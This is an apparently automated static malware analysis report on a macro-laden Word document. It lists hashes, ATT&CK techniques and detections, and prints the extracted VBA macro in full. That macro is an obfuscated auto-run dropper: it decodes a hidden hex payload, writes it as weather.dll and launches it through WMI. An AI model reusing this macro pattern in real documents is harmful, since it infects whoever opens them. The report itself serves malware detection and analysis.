Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1cca6f84b4a7268d…

MALICIOUS

Office (OOXML)

168.4 KB Created: 2020-05-11 15:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-07-24
MD5: 0d0711b14a0c798443495315706f2aa1 SHA-1: a31704aab9b610eb950dac47f99c2eedbf904319 SHA-256: 1cca6f84b4a7268d34c8899e271561b4d97d3aa78585f18dd499d4e76d5e122d
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an OOXML document containing a malicious VBA macro. The macro executes upon opening the document, creating a directory 'c:\filelogger' and a file named 'weather.dll' within it. It then uses WMI to execute the contents of this file, likely downloading and running a second-stage payload. The obfuscated nature of the script and the use of CreateObject and GetObject calls are indicative of a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.HexEncodedEXEHeader-9789587-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.HexEncodedEXEHeader-9789587-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1764 bytes
SHA-256: a685ff1105fe8b6a567568752167aaf3d081c340c05a14c35717abdfe9f515dc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "prjDoc1"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Private Sub Document_Open()

        Dim f, sPath, strTemp$, strReturn$, strHexValues$, CurFolder$
        Dim objFSO, strFolder
        strFolder = "c:\" & "filelogger"
        
 
        sPath = strFolder & "\" & "weath" + Chr$(112) & Chr$(46) & Chr$(100) & Chr$(108) + Chr$(108)

        strHexValues = xpStyle.GroupName
        For f = 1 To Len(strHexValues) Step 2
        strTemp = Chr(Val("&H" + Mid(strHexValues, f, 2)))
        strReturn = strReturn + strTemp
        Next f
        strHexValues = Right(strReturn, Len(strReturn) - 1)
     
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        If Not objFSO.FolderExists(strFolder) Then
           objFSO.CreateFolder (strFolder)
        End If
       
        Open sPath For Output As #1
        Print #1, Chr$(77) + strHexValues
        Close #1
        
        Set block1 = GetObject(ChrW(119) & ChrW(105) & ChrW(110) & ChrW(109) & ChrW(103) & ChrW(109) & ChrW(116) & ChrW(115) _
        & ChrW(58) & ChrW(87) & ChrW(105) & ChrW(110) & ChrW(51) & ChrW(50) & ChrW(95) & ChrW(80) & ChrW(114) _
        & ChrW(111) & ChrW(99) & ChrW(101) & ChrW(115) & ChrW(115))

         block1.create Themes.GroupName + sPath + ",dwFix", Null, Null, processid
         block1.create Themes.GroupName + sPath + ",dwLoad", Null, Null, processid

        ActiveDocument.Close _
        SaveChanges:=wdPromptToSaveChanges, _
        OriginalFormat:=wdPromptUser
        
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: b64a5970b81f0466277781cb700c7d9617f0cf69faa21d809866af62a574e6e0